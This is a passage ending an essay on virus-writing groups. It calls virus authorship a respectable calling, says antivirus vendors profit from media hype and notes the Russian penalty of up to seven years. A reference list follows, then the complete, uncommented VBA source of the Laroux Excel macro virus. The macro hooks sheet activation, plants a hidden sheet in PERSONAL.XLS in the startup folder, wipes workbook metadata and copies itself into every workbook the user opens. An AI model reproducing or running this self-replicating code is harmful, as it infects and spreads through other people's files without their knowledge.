The results of the attempt can be very sad, only real professionals can go famous and stay uncaught. To write something really new and remarkable programmer should have some extra knowledge and skills.
A computer virus group is an informal non-profit organisation, uniting programmers–authors of viruses regardless of their qualifications. Everyone can become a member of the club, if he creates viruses, studies them for the reason of creation and spreading. You don't have to know any computer language or write any program code to become a member or a friend of the group. Programming in Assembler is preferred, Pascal, C++ and other high level languages are considered to be humiliating
There are computer virus groups all over the world, few being more successful than others. It may be pretty hard to get in contact with them since they are quite typical representatives of computer underground world as well as (free)wares groups. Sometimes, however, creating viruses can become a respectable occupation, bringing constant income. After all, no one but the author of the virus can bring valuable information on the way it should be treated and cured.
Developers of antiviral software gain money from selling their remedy to a new widely hyped by the mass media virus. Agitation can grow so strong that all and everyone dash to buy an antiviral protection against even a most harmless virus. The ordinal behaviour of share indexes in stock exchanges while a computer virus epidemic is to fall. Somehow, the shares of high-tech companies producing antiviral software will soar up to the sky.
An epidemic of foot-and-mouth disease has overwhelmed Europe in these days (March 15, 2001). It seems that a vast economic crisis is breaking out in America. World finances make their best to escape the worst.
A break-through in the sphere of artificial intellect development could prevent NASDAQ from complete falling down. The help may come from an unexpected side...
But don't forget that creation, use and spreading harmful programs for PC is a criminal offence, as well as using cracked versions of programs. Our penal code establishes a punishment up to seven years of jail.
And be aware that computer viruses came for a long time, unless forever.
1. Penal Code of Russian Federation
2. Handless N.N. Computer virology. Part 1: General principles of operation, categorization and catalogue of the most widespread viruses in operating system MS DOS. – Kiev, 1990.
3. Infected Voice. Issue 1, September, 1994. – STEALTH group.
4. Infected Voice. Issue 2, October, 1994. – STEALTH group.
5. Infected Voice. Issue 3. December, 1994. – STEALTH group.
Attribute VB_Name = "laroux"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("laroux").Visible = True
Sheets("laroux").Select
Sheets("laroux").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("laroux").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "personal.xls!check_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "laroux" Then
Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("laroux").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "personal.xls!check_files"
Case Else
End Select
End Sub
[1] Assembler - a low level, hardware- oriented computer language